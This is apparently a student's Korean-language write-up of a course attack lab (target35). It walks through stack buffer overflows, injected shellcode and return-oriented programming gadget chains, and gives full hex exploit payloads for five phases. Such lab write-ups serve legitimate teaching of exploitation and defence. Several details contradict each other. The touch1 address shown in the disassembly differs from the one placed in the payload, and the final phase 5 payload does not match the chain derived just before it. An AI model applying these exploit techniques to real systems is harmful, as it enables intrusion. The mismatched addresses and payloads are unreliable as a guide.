학번: 201724485 이름: 배재홍

[attack lab - target35]

<Phase_1>

```
0000000000401851 <getbuf>:
  401851:       48 83 ec 38             sub    $0x38,%rsp
  401855:       48 89 e7                mov    %rsp,%rdi
  401858:       e8 7e 02 00 00          callq  401adb <Gets>
```

getbuf 함수를 호출하면 버퍼를 0x38byte만큼 스택에 할당함을 확인하여 입력값을 넣을 때 0x38byte(56byte)보다 큰 값을 입력하면 버퍼 오버플로우가 발생함을 확인합니다.

```
0000000000401867 <touch1>:
  401867:       48 83 ec 08             sub    $0x8,%rsp
```

phase_1에서는 touch1을 실행시켜야 하므로 touch1의 시작주소를 확인합니다.
이를 통해 56byte의 아무입력(패딩) + 0x401967을 입력으로 주면 return address가 버퍼오버플로우에 의해 touch1의 주소로 변경되어 touch1이 실행됨을 확인합니다.

<Phase_2>

touch2에서는 인자로 val을 받는데 val의 값이 cookie값과 같아야합니다. 이때 val은 %rdi에 저장되어 touch2가 실행되므로 %rdi에 cookie값을 넣어주고 touch2를 호출하는 명령을 실행시키면 됩니다.

```
pushq $0x401893
movq $0x30cd1ee4, %rdi
retq
```

vi로 %rdi에 cookie값을 넣고 touch2를 호출하는 명령을 .s 파일로 작성하면 위와 같습니다. push명령으로 touch2의 주소를 stack에 저장하고 %rdi에 cookie값을 저장합니다.

```
0000000000000000 <.text>:
   0:   68 93 18 40 00          pushq  $0x401893
   5:   48 c7 c7 e4 1e cd 30    mov    $0x30cd1ee4,%rdi
   c:   c3                      retq
```

gcc -c 명령으로 .s 파일을 .o 파일로 만들고 objdump -d 명령으로 보면 위와 같이 나옵니다. 입력으로 68 93 18 40 00 48 c7 c7 e4 1e cd 30 c3 + 43byte의 아무입력(패딩) + buffer의 주소값이 되어야 위의 68 93 18 40 00에 해당하는 pushq명령과 그 다음명령들을 실행 할 것입니다.

```
0000000000401851 <getbuf>:
  401851:       48 83 ec 38             sub    $0x38,%rsp
  401855:       48 89 e7                mov    %rsp,%rdi
  401858:       e8 7e 02 00 00          callq  401adb <Gets>
```

getbuf함수를 다시 보면 %rdi에 %rsp를 mov하는 것을 볼 수 있습니다. 여기서 %rdi는 전달되는 첫 번째 인자입니다. buffer의 주소값 즉 첫 번째 인자의 주소값을 return address로 설정하면 위의 단계에서 입력으로 준 pushq명령부터 차례대로 실행될 것입니다. gdb로 ctarget을 실행시킨 후 getbuf에 break를 걸고 run 한 후 nexti 명령으로 Gets함수를 call 하기 전 즉, mov %rsp, %rdi가 실행되고 난 후의 %rdi에 저장된 값을 보니 0x5563e918이었습니다. 따라서 phase_2의 입력으로 68 93 18 40 00 48 c7 c7 e4 1e cd 30 c3 + 43byte 패딩 + 18 e9 63 55가 돼야합니다.

<Phase_3>

touch3 함수와 hexmatch 함수를보면 문자열을 인자로 받아 hexmatch함수를 실행시켜 cookie와 인자로 받은 문자열이 같은지 확인합니다. 따라서 cookie값을 ASCII 코드로 변환해 touch3의 인자로 전달해줘야 합니다. 제 cookie값은 0x30cd1ee4이므로 ASCII 코드로 변환해 16진수 문자열로 나타내면 33 30 63 64 31 65 65 34입니다.

```
pushq $0x4019a4
movq $0x5563e958, %rdi
retq
```

먼저 Phase_2에서와 같이 vi로 명령을 .s파일로 작성합니다. 첫 번째로 touch3의 주소를 push하고 두 번째로 %rdi에 어떤 주소값을 넣는데 저 주소값은 0x5563e918(Phase_2에서 buffer의 시작 주소값) + 0x38(getbuf호출시 스택에 할당하는 byte크기) + 0x8(주소값 크기 -> return address가 끝나는 주소값)입니다.

```
0000000000000000 <.text>:
   0:   68 a4 19 40 00          pushq  $0x4019a4
   5:   48 c7 c7 58 e9 63 55    mov    $0x5563e958,%rdi
   c:   c3                      retq
```

gcc -c 명령으로 .s 파일을 .o 파일로 만들고 objdump -d 명령으로 .o 파일을 확인해보면 위와 같이 나옵니다. 따라서 입력으로 68 a4 19 40 00 48 c7 c7 58 e9 63 55 c3 + 43byte의 패딩 + buffer의 시작 주소값 + cookie의 ASCII 코드값이 되어야 함을 알 수 있습니다. 여기서 0x38byte 다음으로 입력되는 값들 즉, buffer의 시작 주소값은 return address에 덮어써지고 return address가 끝나는 주소값(위 단계에서 %rdi에 mov하는 주소값 0x5563e958)에서부터 cookie를 ASCII 코드로 변경한 값을 입력해주면 %rdi가 cookie 문자열을 가리키게 됩니다. 따라서 입력은 68 a4 19 40 00 48 c7 c7 58 e9 63 55 c3 + 43byte 패딩 + 18 e9 63 55 00 00 00 00 + 33 30 63 64 31 65 65 34 00(cookie문자열 + NULL)입니다.

<Phase_4>

Phase_4는 Phase_2와 동일하게 touch2를 실행시키면 됩니다. %rdi에 cookie값을 넣고 touch2를 호출하면 됩니다.

먼저 stack에 56byte(패딩) 다음 return address가 들어있는 곳부터 저희가 원하는 명령의 주소를 넣으면 됩니다.

```
0000000000401a6b <getval_471>:
  401a6b:       b8 58 90 c3 ae          mov    $0xaec39058,%eax
  401a70:       c3                      retq
```

popq %reg 명령의 주소 + cookie 값을 하면 %reg에 cookie 값이 들어감을 확인하고 popq %rdi에 해당하는 바이트 시퀀스 5f를 찾아봤지만 없었습니다. 대신 popq %rax 명령의 주소 + cookie 값 + movq %rax, %rdi 명령의 주소를 사용 할 수 있었습니다. popq %rax 명령의 바이트 시퀀스는 58입니다. 위의 0x401a6c부터 시작해 바이트 시퀀스를 읽으면 58 90 c3이 됩니다. 여기서 58은 popq %rax, 90은 아무일도 하지않는 nop, c3은 ret에 해당합니다. 따라서 56byte 패딩 다음으로 올 주소는 0x401a6c입니다.

```
0000000000401a4f <setval_160>:
  401a4f:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  401a55:       c3                      retq
```

다음 찾을 명령은 moveq %rax, %rdi입니다. 해당하는 바이트 시퀀스는 48 89 c7입니다. 위 함수에서 0x401a51부터 시작해 바이트 시퀀스를 읽으면 48 89 c7 90 c3입니다. 이는 movq %rax, %rdi + nop + ret에 해당합니다.

따라서 phase_4의 입력은 56byte의 패딩 + 6c 1a 40 00 00 00 00 00 + e4 1e cd 30 00 00 00 00(cookie 값) + 51 1a 40 00 00 00 00 00 + 93 18 40 00 00 00 00 00 (touch2의 주소)입니다.

<Phase_5>

Phase_5는 Phase_3와 같이 touch3를 실행시키면 됩니다. cookie 문자열을 스택에 저장하고 %rdi에 cookie 문자열이 저장된 주소를 저장해 %rdi가 cookie 문자열을 가리키게 한 후 touch3를 실행시키면 됩니다.

```
0000000000401a7d <add_xy>:
  401a7d:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a81:       c3                      retq
```

add_xy라는 함수가 존재하는 것을 확인합니다. 이것으로 cookie문자열이 저장된 주소값을 계산할 수 있을 것입니다. add_xy 함수는 %rdi와 %rsi를 더해 %rax에 저장하므로 %rdi와 %rsi에 주소값과 그 주소값과 cookie문자열이 저장된 주소의 차이값(차이값이라 부르겠습니다.)을 저장해야함을 생각해 볼 수 있습니다.

```
0000000000401a6b <getval_471>:
  401a6b:       b8 58 90 c3 ae          mov    $0xaec39058,%eax
  401a70:       c3                      retq
```

먼저 popq %rax 명령의 바이트 시퀀스는 58이므로 58 90 c3(popq %rax + nop + ret)의 시작주소는 0x401a6c입니다.

```
0000000000401ab0 <setval_426>:
  401ab0:       c7 07 89 c1 08 c9       movl   $0xc908c189,(%rdi)
  401ab6:       c3                      retq
```

89 c1은 movl %eax, %ecx의 바이트 시퀀스입니다. 89 c1 08 c9 c3(movl %eax, %ecx + orb %cl, %cl + ret)의 시작주소인 0x401ab2를 구할 수 있습니다. 여기서 orb %cl, %cl은 같은 register를 or 연산하므로 여기서는 아무일도 일어나지 않습니다.

```
0000000000401af2 <setval_255>:
  401af2:       c7 07 89 ca 20 c0       movl   $0xc020ca89,(%rdi)
  401af8:       c3                      retq
```

89 ca는 movl %ecx, %edx의 바이트 시퀀스입니다. 89 ca 20 c0 c3(movl %eax, %ecx + andb %al, %al + ret)의 시작주소인 0x401af4를 구할 수 있습니다. 여기서 andb %al, %al은 같은 register를 and 연산하므로 여기서는 아무일도 일어나지 않습니다.

```
0000000000401ad2 <setval_215>:
  401ad2:       c7 07 89 d6 90 c3       movl   $0xc390d689,(%rdi)
  401ad8:       c3                      retq
```

89 d6은 movl %edx, %esi의 바이트 시퀀스입니다. 89 d6 90 c3(movl %edx, %esi + nop + ret)의 시작주소인 0x401ad4를 구할 수 있습니다.

여기까지 입력을 구해보면 56byte 패딩 + 6c 1a 40 00 00 00 00 00 + 차이값(8byte) + b2 1a 40 00 00 00 00 00 + f4 1a 40 00 00 00 00 00 + d4 1a 40 00 00 00 00 00이 됩니다. 이 입력의 결과로는 %rax에 차이값을 넣은 뒤 %rsi로 차이값을 mov하는 결과가 나타납니다.

다음은 %rdi에 주소값을 넣을 것인데 현재 주소값을 가리키는 %rsp를 이용합니다.

```
0000000000401b2e <addval_461>:
  401b2e:       8d 87 48 89 e0 90       lea    -0x6f1f76b8(%rdi),%eax
  401b34:       c3                      retq
```

48 89 e0 c2 c3는 movq %rsp, %rax + nop + ret 명령에 해당하는 바이트 시퀀스입니다. 따라서 시작주소인 0x401b30을 구할 수 있습니다.

```
0000000000401a4f <setval_160>:
  401a4f:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  401a55:       c3                      retq
```

다음 movq %rax, %rdi 명령입니다. 해당 바이트 시퀀스는 48 89 c7이므로 48 89 c7 90 c3(movq %rax, %rdi + nop + ret)의 시작주소는 0x401a51입니다.

여기까지의 입력을 구해보면 56byte 패딩 + 6c 1a 40 00 00 00 00 00 + 차이값(8byte) + b2 1a 40 00 00 00 00 00 + f4 1a 40 00 00 00 00 00 + d4 1a 40 00 00 00 00 00 + 30 1b 40 00 00 00 00 00 + 51 1a 40 00 00 00 00 00이 됩니다.

```
0000000000401a7d <add_xy>:
  401a7d:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a81:       c3                      retq
```

다음은 %rdi + %rsi를 %rax에 넣어주는 add_xy의 주소인 0x401a7d가 옵니다. 이 명령으로 cookie문자열을 가리키는 주소가 %rax에 저장됩니다.

```
0000000000401a4f <setval_160>:
  401a4f:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  401a55:       c3                      retq
```

다음은 movq %rax, %rdi 명령입니다. cookie문자열을 가리키는 주소를 %rdi에 저장합니다. 주소는 0x401a51이 됩니다.

다음으로 올 입력은 touch3의 주소 + cookie문자열입니다. a4 19 40 00 00 00 00 00 (touch3의 주소) + 33 30 63 64 31 65 65 34 00 (cookie문자열 + NULL)
따라서 전체 입력은 56byte 패딩 + 6c 1a 40 00 00 00 00 00 + 차이값(8byte) + b2 1a 40 00 00 00 00 00 + f4 1a 40 00 00 00 00 00 + d4 1a 40 00 00 00 00 00 + 30 1b 40 00 00 00 00 00 + 51 1a 40 00 00 00 00 00 + 7d 1a 40 00 00 00 00 00 + 51 1a 40 00 00 00 00 00 + a4 19 40 00 00 00 00 00 + 33 30 63 64 31 65 65 34 00이 됩니다.
여기서 차이값을 구해보면 %rsp를 %rax에 넣는 명령의 주소인 0x401b30의 시작과 cookie 문자열이 시작되는 곳의 byte차이는 32byte = 0x20이 됩니다.

그러므로 입력은 56byte 패딩 + 6c 1a 40 00 00 00 00 00 + 20 00 00 00 00 00 00 00 + 6c 1a 40 00 00 00 00 00 + 98 1a 40 00 00 00 00 00 + b2 1a 40 00 00 00 00 00 + f4 1a 40 00 00 00 00 00 + d4 1a 40 00 00 00 00 00 + 7d 1a 40 00 00 00 00 00 + 51 1a 40 00 00 00 00 00 + a4 19 40 00 00 00 00 00 + 33 30 63 64 31 65 65 34 00